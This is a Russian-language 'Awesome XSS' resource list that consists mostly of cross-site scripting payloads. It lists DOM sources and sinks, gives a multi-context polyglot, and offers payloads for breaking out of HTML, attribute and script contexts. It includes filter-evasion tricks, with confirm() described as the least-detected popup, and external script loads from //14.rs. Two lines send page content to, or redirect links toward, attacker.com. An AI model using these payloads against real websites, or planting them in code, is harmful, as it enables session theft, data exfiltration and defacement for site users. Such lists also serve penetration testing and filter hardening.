
Отличные материалы по XSS
Этот репозиторий — коллекция ресурсов Awesome XSS. Вклад приветствуется; предложения отправляйте через issue.
Красивая интеллект-карта по XSS от Jack Masa — здесь
VulnerableNot vulnerableИсточник: ввод, который может контролироваться внешним (недоверенным) источником.
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage
Приёмник: потенциально опасный метод, который может привести к уязвимости. В данном случае — к DOM-based XSS.
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location
Этот полный список приёмников и источников взят из domxsswiki.
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="javascript%26colon;alert(1)">click
<a href=javascript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>
Вот XSS-полиглот, который я сделал; он позволяет выйти за пределы 20+ контекстов:
%0ajavascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
Объяснение принципа работы — здесь
Некоторые обработчики событий, которые реже детектируются
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel
Некоторые HTML-теги, которые вам пригодятся
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video
Пример: <tag>You searched for $input. </tag>
<svg onload=alert()>
</tag><svg onload=alert()>
Пример: <tag attribute="$input">
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()
Пример: <script> var new something = '$input'; </script>
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>
Ага, confirm, потому что alert слишком избит.
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
i.href = "https://attacker.com";
});
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">
Если ничего из этого не сработало, загляните в раздел Лучшие обходы.
Прежде всего введите неопасную строку, например d3v, и посмотрите исходный код, чтобы получить представление о количестве отражений и их контекстах.
Теперь для контекста атрибута проверьте, фильтруются ли двойные кавычки ("), введя x"d3v. Если они преобразуются в x"d3v, скорее всего, вывод экранируется корректно. Если так и происходит, попробуйте проделать то же самое с одинарными кавычками ('), введя x'd3v; если они преобразуются в x', всё пропало. Единственное, что остаётся, — кодирование.
Если кавычки не фильтруются, можно просто попробовать пейлоады из раздела Лучшие способы выхода из контекста.
Для JavaScript-контекста проверьте, какие кавычки используются. Например, если код выглядит так:
variable = 'value' or variable = "value"
Предположим, используются одинарные кавычки ('). В этом случае введите x'd3v. Если оно преобразуется в x\'d3v, попробуйте экранировать обратный слеш (), добавив обратный слеш к своей пробе, т.е. x\'d3v. Если сработает, используйте следующий пейлоад:
\'-alert()//
Но если оно преобразуется в x\\\'d3v, единственное, что можно попробовать, — закрыть сам тег script, используя
</script><svg onload=alert()>
Для простого HTML-контекста пробой служит x<d3v. Если оно преобразуется в x>d3v, значит, установлена надлежащая санитизация. Если же строка отражается как есть, можно ввести фиктивный тег, чтобы проверить возможные фильтры. Мне нравится использовать фиктивный тег x<xxx>. Если он удаляется или изменяется любым способом, это означает, что фильтр ищет пару символов < и >. Его можно просто обойти с помощью
<svg onload=alert()//
или вот так (сработает не во всех случаях)
<svg onload=alert()
Если ваши фиктивные теги попадают в исходный код как есть, используйте любой из этих пейлоадов:
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>
Примечание: ни в одном из этих пейлоадов не используются одинарные (') или двойные (") кавычки.
<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>
<svg/onload=confirm()>
<svg onload=confirm()>
<script>confirm()</script>
<svg onload=confirm()//
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
<x onclick=confirm()>click here
<x ondrag=aconfirm()>drag it
</ScRipT>
</script
</script/>
</script x>
http(s):// можно сократить до // или /\\ или \\.document.cookie можно сократить до cookie. Это применимо и к другим DOM-объектам.alert('XSS') и начните делать alert().> можно использовать //.confirm — наименее детектируемая всплывающая функция, так что хватит использовать alert.<script src=//14.rs> вместо <script src="//14.rs">.Все пейлоады созданы мной, если не указано иное.
| HTML | Символ | Numeric | Описание | Hex | CSS (ISO) | JS (Octal) | URL |
|---|
" | " | " | кавычка | u+0022 | \0022 | \42 | %22 |
# | # | # | знак номера | u+0023 | \0023 | \43 | %23 |
$ | $ | $ | знак доллара | u+0024 | \0024 | \44 | %24 |
% | % | % | знак процента | u+0025 | \0025 | \45 | %25 |
& | & | & | амперсанд | u+0026 | \0026 | \46 | %26 |
' | ' | ' | апостроф | u+0027 | \0027 | \47 | %27 |
( | ( | ( | левая круглая скобка | u+0028 | \0028 | \50 | %28 |
) | ) | ) | правая круглая скобка | u+0029 | \0029 | \51 | %29 |
* | * | * | звёздочка | u+002A | \002a | \52 | %2A |
+ | + | + | знак плюса | u+002B | \002b | \53 | %2B |
, | , | , | запятая | u+002C | \002c | \54 | %2C |
− | - | - | дефис-минус | u+002D | \002d | \55 | %2D |
. | . | . | точка | u+002E | \002e | \56 | %2E |
/ | / | / | косая черта (слэш) | u+002F | \002f | \57 | %2F |
: | : | : | двоеточие | u+003A | \003a | \72 | %3A |
; | ; | ; | точка с запятой | u+003B | \003b | \73 | %3B |
< | < | < | знак «меньше» | u+003C | \003c | \74 | %3C |
= | = | = | знак равенства | u+003D | \003d | \75 | %3D |
> | > | > | знак «больше» | u+003E | \003e | \76 | %3E |
? | ? | ? | вопросительный знак | u+003F | \003f | \77 | %3F |
@ | @ | @ | знак «at» | u+0040 | \0040 | \100 | %40 |
[ | [ | [ | левая квадратная скобка | u+005B | \005b | \133 | %5B |
\ | \ | \ | обратный слеш | u+005C | \005c | \134 | %5C |
] | ] | ] | правая квадратная скобка | u+005D | \005d | \135 | %5D |
^ | ^ | ^ | циркумфлекс | u+005E | \005e | \136 | %5E |
_ | _ | _ | нижнее подчёркивание | u+005F | \005f | \137 | %5F |
` | ` | ` | гравис | u+0060 | \0060 | \u0060 | %60 |
{ | { | { | левая фигурная скобка | u+007b | \007b | \173 | %7b |
| | | | | | вертикальная черта | u+007c | \007c | \174 | %7c |
} | } | } | правая фигурная скобка | u+007d | \007d | \175 | %7d |
<script src=//14.rs> (19 символов).